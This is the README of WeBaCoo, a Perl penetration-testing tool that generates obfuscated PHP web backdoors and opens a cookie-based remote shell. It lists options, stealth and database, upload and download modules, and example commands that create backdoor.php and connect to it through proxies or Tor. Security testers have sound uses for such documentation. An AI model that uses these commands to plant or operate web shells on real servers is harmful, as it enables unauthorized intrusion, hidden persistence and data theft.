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 Web Backdoor Cookie Script-Kit

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Written by: Anestis Bechtsoudis @ bechtsoudis.com Copyright (C) 2011-2012 Anestis Bechtsoudis

Disclaimer

The tool is only for testing purposes and can only be used where strict consent has been given. Do not use it for illegal purposes.

License

Any modifications, changes, or alterations to this application is acceptable, however, any public releases utilizing this code must be approved by its creator. Check the LICENSE file for more information.

Requirements

• perl installed
• liburi-perl
• libio-socket-socks-perl

If you do not want to install "libio-socket-socks-perl" for Tor proxy feature, comment line 25 at webacoo.pl

Usage

webacoo.pl [options]

Options: -g Generate backdoor code (-o is required)

-f FUNCTION PHP System function to use FUNCTION 1: system (default) 2: shell_exec 3: exec 4: passthru 5: popen

-o OUTPUT Generated backdoor output filename

-r Return un-obfuscated backdoor code

-t Establish remote "terminal" connection (-u is required)

-u URL Backdoor URL

-e CMD Single command execution mode (-t and -u are required)

-m METHOD HTTP method to be used (default is "GET")

-c C_NAME Cookie name (default: "M-cookie")

-d DELIM Delimiter (default: New random for each request)

-a AGENT HTTP header user-agent (default exist)

-p PROXY Use proxy (tor, ip:port or user:pass:ip:port)

-v LEVEL Verbose level LEVEL 0: no additional info (default) 1: print HTTP headers 2: print HTTP headers + data

-l LOG Log activity to file

-h Display help and exit

update Check for updates and apply if any

Extension Modules

Since 0.2.1 version an extension module support has been added in order to provide extra functionalities to WeBaCoo. Within terminal mode you can execute 'load' to list the available modules and initialize the desired one from the list. By typing 'unload' you can restore back to the initial terminal mode.

Available extension modules: o mysql-cli MySQL command line module o psql-cli Postgres command line module o upload File upload module using HTTP Post o download File download module using stdout print via 'od' & 'xxd' o stealth Increase stealth module via .htaccess handling

Examples

1. Create 'backdoor.php' obfuscated backdoor with default settings ./webacoo.pl -g -o backdoor.php

2. Create 'raw-backdoor.php' un-obfuscated backdoor using 'passthru' function ./webacoo.pl -g -o raw-backdoor.php -f 4 -r

3. Establish "terminal" connection with remote host using the default setup ./webacoo.pl -t -u http://127.0.0.1/backdoor.php

4. Establish "terminal" connection with remote host while setting some args ./webacoo.pl -t -u http://127.0.0.1/backdoor.php -c "Test-Cookie" -d "TtT"

5. Establish "terminal" connection with remote host through local http proxy ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p 127.0.0.1:8080

6. Establish "terminal" connection with remote host through http proxy with basic auth ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p user:password:10.0.1.8:3128

7. Establish "terminal" connection with remote host over Tor and log activity ./webacoo.pl -t -u http://example.com/backdoor.php -p tor -l webacoo_log.txt